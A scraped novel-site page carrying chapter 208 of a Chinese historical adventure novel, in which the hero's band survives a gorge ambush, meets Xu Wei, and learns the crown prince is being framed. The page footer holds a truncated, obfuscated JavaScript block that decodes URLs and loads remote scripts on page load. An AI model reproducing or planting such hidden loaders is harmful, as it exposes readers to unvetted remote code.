首页
第208章 毒杀嫁祸
返回
关灯 护眼:关 字号:小

第208章 毒杀嫁祸

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    第208章毒杀嫁祸(第1/2页)
    寒风如刀,割裂着黎明前最深的黑暗。陆擎一行不到二十人,如同受伤的狼群,在山林小径间艰难穿行。身后,杭州城的方向,火光与浓烟已渐次黯淡,但那冲天的血气与焦糊味,似乎仍萦绕在鼻尖,混合着江南冬日特有的湿冷,浸入骨髓。
    疤脸刘走在最前,这位老江湖对浙西山地的每一条兽径、每一处岩缝都了如指掌。他沉默地拨开挡路的枯藤,警惕地倾听着山林间的每一丝异响。石敢殿后,身影与林间的阴影几乎融为一体,手中扣着淬毒的梭镖,眼神锐利如鹰,扫视着来路。丁老头和林慕贤搀扶着两名伤势较重的漕帮兄弟,陆擎走在队伍中间,腹部的伤口每走一步都传来撕裂般的疼痛,但他咬着牙,一声不吭,只将怀中那两样东西——王安的血书和刘文泰的手札——贴肉藏好,那是比性命更重的存在。
    他们没有走官道,也没有沿水路,而是钻入了杭州西面的天目山余脉。山势连绵,林深草密,虽是冬季,依旧藤蔓纠葛,行进极为困难。但唯有如此,才能最大限度地避开晋王和汪直可能布下的天罗地网。
    “公子,翻过前面那个垭口,就出了杭州府地界,进入湖州府长兴县。那边山更深,路更杂,追兵想找我们就没那么容易了。”疤脸刘在一块巨石旁停下,指着前方隐约的山脊轮廓低声道。
    陆擎点点头,刚想说让大家稍作休整,石敢忽然从后方如鬼魅般掠至,脸色凝重,低声道:“有追兵,西南方向,约三里,人数不下五十,有猎犬。”
    众人心中俱是一凛。这么快就追上来了?而且还带着猎犬!
    “是黑鸦卫,还是晋王府的亲兵?”丁老头急问。
    “都有,看装束是混编的。领头的……好像就是昨晚那个百户赵昆。”石敢的耳力目力远超常人。
    赵昆!昨夜劫杀猛火油车队,又经历了流民营的混乱,此人居然这么快就重整队伍追了上来,看来是恨极了他们,不杀之绝不罢休。
    “猎犬循着气味,我们甩不掉。”疤脸刘脸色阴沉,“必须干掉猎犬,或者扰乱气味。”
    林慕贤从随身的药囊中取出几个小瓷瓶:“我这里有几种药粉,有刺激性气味,可以暂时干扰猎犬。但时间不会太长。”
    “先用药粉试试,同时加速前进,寻找有利地形伏击!”陆擎当机立断,“刘爷,附近有没有适合埋伏的地方?”
    疤脸刘略一思索,眼睛一亮:“前方两里左右,有一处‘一线天’,两侧是峭壁,中间只有一条窄缝,仅容一人通过。我们快些赶过去,抢先占据一侧高地,用滚石擂木,足以挡住数倍之敌!”
    “好!就去一线天!”陆擎忍着伤痛,加快脚步,“林兄,药粉交给石敢,让他沿途布撒,尽量延缓追兵。其他人,丢掉不必要的辎重,全速前进!”
    众人精神一振,丢下一些沉重的包裹,只携带兵刃、干粮和药物,在疤脸刘的带领下,向着“一线天”方向疾奔。石敢接过药粉,身形几个起落,便消失在来路的林间,他要为队伍争取宝贵的时间。
    山路崎岖,荆棘遍布。陆擎腹部的伤口又开始渗血,将刚刚包扎好的布条染红。林慕贤见状,想让他慢些,却被他摇头拒绝。时间就是生命,此刻慢一步,就可能被猎犬追上,陷入重围。
    大约一炷香后,前方果然出现两片刀削斧劈般的峭壁,中间一道狭窄的裂缝,仅容一人侧身而过,抬头只见一线天空,故名“一线天”。峭壁高约十数丈,猿猴难攀。
    “快!上左边崖顶!”疤脸刘指挥着,率先寻找上崖的小径。众人互相搀扶,奋力攀爬。等他们气喘吁吁地爬上崖顶,追兵的身影已经出现在下方山谷的尽头,猎犬的吠叫声清晰可闻。
    “搬石头!快!”疤脸刘一声令下,众人顾不上休息,纷纷寻找大小合适的石块,堆积在崖边。石敢也悄无声息地潜了回来,低声道:“药粉起效了,猎犬有些混乱,但追兵很谨慎,散开了队形。”
    陆擎趴在崖边,向下望去。只见约五六十名黑衣黑甲的黑鸦卫和晋王府亲兵,正呈扇形散开,小心翼翼地搜索前进。几条猎犬在地上嗅来嗅去,显得有些烦躁不安,显然是被林慕贤的药粉干扰了。领头的正是昨夜见过的百户赵昆,他脸色铁青,左臂包扎着,看来昨夜也受了伤,此刻正目光阴鸷地扫视着四周。
    “准备!”陆擎低喝,示意众人等敌人进入一线天狭窄路段再动手。
    然而,赵昆似乎对“一线天”这样的险地也有所警惕,在谷口处停下了脚步,派出几名斥候,先行进入查探。
    “不能等他们全部进来。”石敢低声道,“打草惊蛇,他们若是退出去绕路,或者用弓箭压制,我们就麻烦了。”
    陆擎点头,当机立断:“打!”
    疤脸刘举起一块脸盆大的石头,狠狠朝着谷口处砸了下去!“轰隆”一声,石头带着碎石泥土,呼啸而下,虽然没有直接砸中人,却将几名斥候惊得连连后退。
    “放箭!”赵昆厉声喝道,剩下的追兵立刻张弓搭箭,朝着崖顶射来。箭矢“嗖嗖”地钉在岩石上,迸出点点火星。
    “滚石!擂木!”陆擎也搬起一块石头砸下。其他人纷纷效仿,大大小小的石块、连同几段枯木,如同雨点般从崖顶落下,砸向谷口聚集的追兵。
    追兵一阵大乱,纷纷寻找掩体躲避。但“一线天”谷口狭窄,躲避空间有限,顷刻间便有数人被石块砸中,惨叫着倒地。
    “上面有人!放箭!放箭!”赵昆躲在巨石后,气急败坏地怒吼。箭矢更加密集地射向崖顶,压得陆擎等人抬不起头。
    “用这个!”丁老头从怀里掏出几个黑乎乎的圆球,正是昨夜用剩下的、装着火油和硝石的陶罐,用火折子点燃引信,奋力朝下方扔去。
    “砰!轰!”
    陶罐在追兵人群中炸开,火焰四溅,虽然威力不大,但突如其来的爆炸和火焰,再次引起一阵恐慌。几匹战马受惊,人立而起,将背上的骑兵甩落。
    “冲上去!杀了他们!一个不留!”赵昆彻底被激怒,拔出腰刀,指挥着部下,冒着箭矢和滚石,开始攀爬山崖,试图强攻。他看出来崖上人数不多,只要冲上去,就能全歼。
    战斗瞬间进入白热化。不断有追兵在攀爬中被石头砸落,或者被石敢精准的飞镖射中要害,惨叫着摔下悬崖。但追兵人数众多,前赴后继,渐渐有几人攀上了崖顶边缘,与疤脸刘、丁老头等人展开了短兵相接。
    陆擎挥剑砍翻一名刚刚冒头的黑鸦卫,自己也因为牵动伤口,疼得眼前一黑,险些摔倒。林慕贤在他身旁,用一根削尖的木棍,奋力刺向另一名敌人,动作虽不专业,但狠劲十足。
    “公子小心!”石敢一声低喝,一枚梭镖脱手而出,将一名悄悄摸到陆擎侧后、举刀欲砍的敌人钉穿了咽喉。
    崖顶空间有限,双方混战在一起,滚石擂木无法再用,形势对陆擎他们极为不利。他们本就人少,又人人带伤,渐渐被逼得不断后退,眼看就要被逼到悬崖另一侧。
    就在这危急关头,忽然,从“一线天”另一侧的崖顶上,也传来喊杀声,数十支箭矢如同飞蝗般射向正在攀爬的追兵!箭矢又准又狠,瞬间射倒了七八名追兵,其中一支箭更是精准地射穿了赵昆坐骑的脖颈,战马悲鸣倒地,将赵昆摔了个七荤八素。
    “什么人?!”赵昆又惊又怒,抬头望去。
    只见对面崖顶上,影影绰绰出现了数十道人影,看装束,并非黑鸦卫或晋王府的人,倒像是……江湖客,或者,是某个大户人家的护院、家丁?他们手持弓弩,居高临下,对着赵昆的人马就是一轮齐射。
    援兵?陆擎心中一惊,他在江南并无强援,谁会在这荒山野岭出手相助?
    “是友非敌!先打退追兵!”疤脸刘经验老到,虽不知来者何人,但此刻同仇敌忾,先退敌再说。
    有了侧翼的突然袭击,赵昆的队伍顿时陷入混乱,首尾不能相顾。攀爬崖顶的攻势也为之一缓。陆擎等人压力骤减,奋力反击,将几名爬上崖顶的敌人砍杀下去。
    “撤!快撤!”赵昆见势不妙,对方占据地利,又有援兵,己方伤亡惨重,再打下去恐怕要全军覆没,只得恨恨地下令撤退。
    追兵如潮水般退去,丢下二十多具尸体,仓皇逃离了“一线天”谷口。
    陆擎等人瘫坐在崖顶,大口喘着粗气,个个身上挂彩,疲惫不堪。但危机暂时解除,众人都有种劫后余生之感。
    对面的崖顶上,那群神秘的援兵也没有追击,而是放下了绳索,十几人顺着绳索敏捷地滑下,又攀爬上陆擎他们所在的崖顶。
    为首一人,是个四十岁左右的中年文士,面白无须,气质儒雅,但眼神锐利,行走间下盘沉稳,显然身怀武艺。他身后跟着的十几人,个个精悍,目光警惕,行动之间颇有章法,不似普通家丁护院。
    “在下徐渭,字文长,绍兴府人氏,受人之托,特来相助陆公子。”中年文士走到陆擎面前,拱手一礼,语气平和,却自有一股令人信服的气度。
    徐渭?徐文长?陆擎心中一震。此人他虽未见过,但名声在外。徐渭徐文长,乃是东南有名的才子,书画诗文俱佳,更兼通兵法谋略,性格狂放不羁,与沈炼、王世贞等名士交好。他怎么会出现在这里?还说是“受人之托”?
    “原来是徐先生,久仰大名。”陆擎强撑着站起身,还了一礼,警惕未消,“不知徐先生受何人所托?又怎知陆某在此遇险?”
    徐渭微微一笑,似乎看出陆擎的戒备,也不着恼,从怀中取出一物,递了过来:“托付在下之人,与陆公子有旧。公子请看此物,便知在下并非虚言。”
    (本章未完,请点击下一页继续阅读)第208章毒杀嫁祸(第2/2页)
    陆擎接过,那是一个小小的锦囊,入手沉甸甸的。他打开锦囊,里面并非金银,而是一枚巴掌大小、非金非玉的令牌,入手温润。令牌正面刻着繁复的云纹,中间是一个古篆的“令”字;背面,则刻着一行小字:“丹心一片,日月可鉴。”
    看到这行字,陆擎的手猛地一颤,眼眶瞬间发热。这枚令牌,他认识!这是父亲陆炳生前最珍视的信物之一,并非锦衣卫的制式令牌,而是父亲私下里请名匠打造,仅赠予极少数生死之交,代表着他绝对的信任和托付。父亲曾对他说过,见此令,如见他本人。
    “这令牌……是家父……”陆擎声音有些哽咽,抬头看向徐渭,眼中充满了惊疑和激动。
    徐渭点点头,神色也肃穆起来:“不错,此令正是陆炳陆大人所赠。当年文长落魄京师,遭人构陷,几陷囹圄,幸得陆大人仗义执言,查明真相,还我清白。陆大人对文长有救命之恩,知遇之谊。此令便是当年陆大人所赠,言道他日若有用得着徐某之处,或陆家后人持此令相见,徐某当竭尽全力,以报大恩。”
    原来如此!陆擎心中恍然,又是感动,又是酸楚。父亲一生刚正,嫉恶如仇,但也因此树敌无数,最终蒙冤而死。没想到在这穷山恶水之间,绝境逢生之时,竟是父亲生前留下的善缘,救了自己一命。
    “徐先生大恩,陆擎没齿难忘!”陆擎躬身,深深一礼。
    “陆公子不必多礼。”徐渭连忙扶住他,目光扫过陆擎身上血迹斑斑的伤口和众人狼狈的样子,叹道,“看来陆公子在杭州,是经历了一场生死劫难。此地不宜久留,追兵虽退,未必不会卷土重来。在下在山中有一处隐秘落脚点,颇为安全,公子与诸位壮士可随我前往,疗伤歇息,再从长计议。”
    陆擎此刻也确实到了强弩之末,伤口疼痛,失血乏力,兄弟们也个个疲惫带伤,急需休整。徐渭是父亲故人,又有令牌为证,应当可信。他点点头:“如此,叨扰徐先生了。”
    “分内之事。”徐渭摆手,示意手下搀扶伤员。他带来的这十几人显然训练有素,动作麻利,很快便帮着漕帮兄弟处理伤口,整理行装。
    在徐渭的带领下,一行人离开“一线天”,钻入更加茂密的山林,七拐八绕,来到一处极为隐蔽的山谷。谷中有几间依山而建的木屋,虽然简陋,但颇为干净,周围还设有简单的警戒机关。
    进入木屋,林慕贤立刻为陆擎重新处理伤口。徐渭也命人取来清水、食物和干净的布条。众人总算得以喘息。
    “徐先生,您怎会恰好在此?”陆擎喝了些热水,缓过气来,问出心中疑惑。
    徐渭坐在他对面,神色凝重:“并非恰好。徐某本是受友人之邀,前往湖州访友,前日路经杭州附近,听闻杭州城大乱,流民营被焚,织造局、皇木厂遇袭,城内风声鹤唳,四处搜捕叛党。又闻黑鸦卫倾巢而出,往西追捕要犯。徐某想起陆大人当年曾言,若有朝一日其子有难,可持令相助。又隐约听闻此次杭州之事,似乎与已故陆大人有关,更牵扯到晋王。徐某猜想,被追捕的‘要犯’,很可能是陆公子你,故而一路寻来,幸好在‘一线天’赶上。”
    原来徐渭是听闻杭州变故,主动寻来相助的。陆擎心中感激,便将杭州之事,拣紧要处,包括晋王勾结刘瑾、刘文泰毒害先帝、图谋篡位、伪造遗诏、屠杀流民,以及自己如何拿到血书和手札证据等,简略说了一遍。至于五十年前丑闻和“私生子”的猜测,因事涉宫廷绝密,他暂时隐去未提。
    徐渭听完,饶是他见多识广,心性沉稳,也不禁骇然变色,久久不语。他虽知晋王在江南势大,跋扈不法,但绝未想到其野心竟至于此,手段竟毒辣至此!毒杀皇帝,伪诏篡位,屠杀灾民……这简直是丧心病狂,人神共愤!
    “国贼!此真国贼也!”徐渭拍案而起,怒发冲冠,“陆公子,你手中证据,关乎国本,关乎社稷存亡!必须尽快送往南京,呈交太子殿下,公之于众!徐某不才,愿助公子一臂之力!”
    “有徐先生相助,陆某感激不尽!”陆擎精神一振,徐渭文名卓著,在江南士林颇有影响,且通晓兵事,有他相助,前往南京之路或许能顺畅许多。
    “只是……”徐渭眉头又皱了起来,“经此一事,晋王和汪直必然狗急跳墙。他们追捕公子不成,必定会想其他毒计。我方才接到消息,”他顿了顿,声音压得更低,“汪直已以‘剿灭勾结倭寇、焚毁官署、屠杀官兵之叛党’为名,发出海捕文书,通缉公子及诸位壮士。绘影图形,遍贴各府县关卡。更可恶的是……”
    徐渭眼中闪过怒火:“他们还反咬一口,诬陷太子殿下!”
    “诬陷太子?”陆擎心中一紧。
    “是!”徐渭咬牙道,“汪直上奏朝廷,声称此次杭州之乱,乃是太子殿下不满今上登基,暗中指使原锦衣卫指挥使陆炳之子陆擎,勾结江湖匪类、倭寇余孽,制造混乱,意图不轨!他们声称在流民营、织造局等处,发现了与太子府有关的信物,还‘抓获’了几名‘叛党’,招供是受太子指使!这是要将弑君、谋逆、勾结外敌的罪名,反扣到太子殿下头上!行那毒杀嫁祸之计!”
    “无耻之尤!”丁老头气得浑身发抖。
    陆擎也是心头冰凉。他料到晋王一方会反扑,会追捕,却没想到他们如此歹毒,竟然倒打一耙,将如此泼天大罪栽赃到太子头上!太子身为储君,若被扣上“勾结倭寇”、“弑君谋逆”的罪名,不仅储位不保,性命堪忧,更会引发朝局剧烈动荡,天下大乱!届时,晋王再以“清君侧”、“平叛乱”为名起兵,岂不是更加“名正言顺”?
    好一招毒计!既除掉了太子这个最大障碍,又为自己造·反找到了“大义”名分,还能将陆擎等人定性为“叛党”,掩盖他们自己的罪行!一石数鸟,狠辣至极!
    “他们这是要逼太子谋反,或者逼皇上废太子!”林慕贤也看出了其中关窍,脸色发白。
    “不错。”徐渭沉声道,“此计甚毒。太子殿下在南京监国,本就处境微妙,今上多疑,若闻此讯,纵然不全信,也必生猜忌。朝中那些依附晋王、或与太子不睦的官员,定会趁机发难。届时,太子进是谋逆,退是失德,进退维谷!而晋王,则可坐收渔利!”
    木屋内一片寂静,只有火盆中木炭偶尔爆裂的噼啪声。所有人都感觉到了事态的严重性和紧迫性。他们手中的证据,不仅是揭露晋王罪行的利剑,更是洗刷太子冤屈、稳定朝局的关键!必须尽快送到南京,送到太子手中!
    “我们必须更快!”陆擎握紧了拳头,伤口传来刺痛,却让他的头脑更加清醒,“徐先生,从湖州到南京,最快路径如何?沿途关卡防备如何?”
    徐渭走到墙边,那里挂着一幅简陋的江南地图。他指着地图道:“从此地往北,经湖州、宜兴、溧阳,入应天府(南京)界,是陆路最近的一条。但此路官道驿站林立,关卡众多,如今海捕文书已下,沿途必定盘查极严。水路虽快,但运河沿线皆在晋王势力影响之下,更是危险。”
    他手指在地图上划了一条弧线:“我建议,不走官道,也不走运河。我们继续向西,进入皖南山区,绕道宁国府、广德州,从南面包抄,经溧水、高淳,抵达南京南郊。这条路多是山路,人烟稀少,关卡也少,虽然难行,但较为隐蔽。只是……时间上要多花至少五六日。”
    “五六日……”陆擎沉吟。时间紧迫,晚到一天,太子就多一分危险,朝局就多一分变数。但若走大路硬闯,无异于自投罗网。
    “就走山路!”陆擎最终下定决心,“再难,也要走!刘爷,石敢,你们可熟悉皖南山路?”
    疤脸刘和石敢对视一眼,点了点头:“大致方向知道,有些早年走过的山路,虽然荒废,但还能走。”
    “好!那就劳烦徐先生和诸位兄弟,再辛苦一程,护送我等前往南京!”陆擎对着徐渭和他带来的众人,郑重抱拳。
    徐渭肃然还礼:“义不容辞!”
    “事不宜迟,我们稍作休整,处理伤口,补充干粮饮水,一个时辰后出发!”陆擎果断下令。他知道,追兵不会给他们太多时间,赵昆败退,很快就会有更多的追兵,甚至可能有更厉害的人物亲自出马。
    众人各自忙碌起来。林慕贤抓紧时间给众人换药,徐渭的手下则去准备干粮、饮水,检查装备。
    陆擎走到窗边,望向南京方向。天空阴沉,铅云低垂,仿佛预示着更大的风暴即将来临。晋王、刘瑾他们已经撕破了脸,使出了“毒杀嫁祸”这等绝户计,接下来的路途,必定是步步杀机,血雨腥风。
    父亲,您当年是否也面临着如此绝境?您是否也料到了,这掩盖了五十年的丑闻,一旦揭开,会引发何等可怕的滔天巨浪?
    他摸了摸怀中那冰冷的血书和手札,目光穿过重重山峦,仿佛看到了那座巍峨的留都,看到了东宫之中,那位年轻而处境险恶的太子殿下。
    殿下,请再坚持几日。陆擎,定将真相,带到您的面前!无论前方是刀山火海,还是万丈深渊,此心不移,此志不渝!
    山风呼啸,卷动着谷中的枯叶,仿佛无数冤魂在呜咽。而一场关乎大明国运、波及朝野上下的巨大风暴,正以杭州为原点,以陆擎手中的血证为引信,向着帝国的中心——南京,急速席卷而去。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD 